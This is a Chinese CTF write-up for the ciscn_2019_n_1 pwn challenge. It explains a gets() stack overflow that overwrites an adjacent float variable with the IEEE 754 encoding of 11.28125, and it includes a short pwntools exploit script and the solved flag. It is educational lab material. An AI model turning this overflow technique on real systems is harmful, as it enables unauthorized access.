天天看點

BUU-ciscn_2019_n_1檢查保護IDA解題EXPflag

檢查保護

BUU-ciscn_2019_n_1檢查保護IDA解題EXPflag

IDA

函數主體很簡單:初始化v2為0.0 ;輸入數字存進v1,然後讓v2和11.28125進行對比,相同則自動 cat flag

BUU-ciscn_2019_n_1檢查保護IDA解題EXPflag

解題

gets函數明晃晃地擺在主函數裡,準備對v1動手。

可以看到v1長度 0x30,下面v2的長度為 0x4

進去瞅瞅:v1和v2緊挨着,而且v1覆寫v2的空間

BUU-ciscn_2019_n_1檢查保護IDA解題EXPflag

那exp思路就很清晰了,把v1到v2首位址之間的空間都填滿,然後填進值11.28125,這樣就能覆寫v2初始化的0.0 進而滿足條件跳轉貓flag。

Tips:

關于11.28125的輸入:

浮點輸入可以用16進制表示,具體标準參照IEE754:
    IEEE二進制浮點數算術标準(IEEE 754)是20世紀80年代以來最廣泛使用的浮點數運算标準,為許多CPU與浮點運算器所采用。

    在C語言中,float通常是指IEEE單精确度(32位),而double是指雙精确度(64位)
           

11.28125轉換16進制表示如下:

BUU-ciscn_2019_n_1檢查保護IDA解題EXPflag

EXP

from pwn import *
p=remote('node3.buuoj.cn',27898)
p.recvuntil("Let's guess the number.")
p.sendline('a'*(0x30-0x4)+p64(0x41348000))
p.interactive()
           

flag

flag{301a272a-7630-49fd-81b3-6537f6942cda}